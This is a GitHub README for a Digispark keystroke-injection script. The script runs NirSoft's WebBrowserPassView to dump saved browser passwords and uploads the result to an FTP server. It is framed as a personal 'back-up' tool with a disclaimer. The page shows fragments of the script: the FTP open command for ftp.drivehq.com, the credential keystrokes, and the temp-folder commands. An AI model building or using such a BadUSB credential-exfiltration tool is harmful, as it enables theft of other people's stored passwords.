Skip to content

A Digispark script that back-ups browser passwords to an FTP server

License

Notifications You must be signed in to change notification settings

dehmitros/Digispark-PasswordRetriever

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

10 Commits
 
 
 
 
 
 

Repository files navigation

Digispark-PasswordRetriever


Logo

Digispark Password Retriever

Back-up all your passwords in a few minutes!

Report Bugs

Downloads

Table Of Contents

Warning

This script was created for backing-up YOUR OWN passwords and to be used strictly for computers YOU own! It is not supposed to be a hack or to be used as one. I am in NO WAY responsible for anything illegal that happens through the use of this script.

About The Project

Every password you've ever saved in your browser gets chached. While this does raise some security concerns, it means backing-up and moving passwords from one computer to another is relatively easy. What this script does is it uses NirSoft's very well-known password retrieving tool (WebBrowserPassView), and automatically upload it to a specified FTP server using a dirt-cheap arduino-compatible board called DigiSpark.

Getting Started

Firstly you need to download the script and open it in your Arduino IDE. Either click on the green "Code" button > Download as zip or Select the script you want to use and copy-paste it to your Arduino IDE.

Prerequisites

After you've opened the script, you will need to modify a few things.

Firstly, you need to specify what FTP server you're using (default is ftp.drivehq.com since it offers a free account).

Go to

DigiKeyboard.print("open ftp.drivehq.com");

and change it according to your needs.

You will then need to type your username/password for the FTP server 2 times each Firstly in

//get file through FTP

and secondly in

//send file through FTP

Both look like this

DigiKeyboard.print("username");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1200);
DigiKeyboard.print("password");
DigiKeyboard.sendKeyStroke(KEY_ENTER);

Additionally you can also change the directory the script makes + it's location by modifying the lines

DigiKeyboard.print("mkdir C:\\t3mp0r4ry");
DigiKeyboard.print("rmdir C:\\t3mp0r4ry /s");
DigiKeyboard.print("cd C:\\t3mp0r4ry");

(The last one appears 2 times)

Lastly you can modify the delays depending on the speeds of your computer, they look like this

DigiKeyboard.delay("enter number in milliseconds");

Usage

Just upload the modified script to your DigiSpark and you're good to go!

License

Distributed under the ODC Open Database License (ODbL). See LICENSE for more information.

Authors

About

A Digispark script that back-ups browser passwords to an FTP server

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages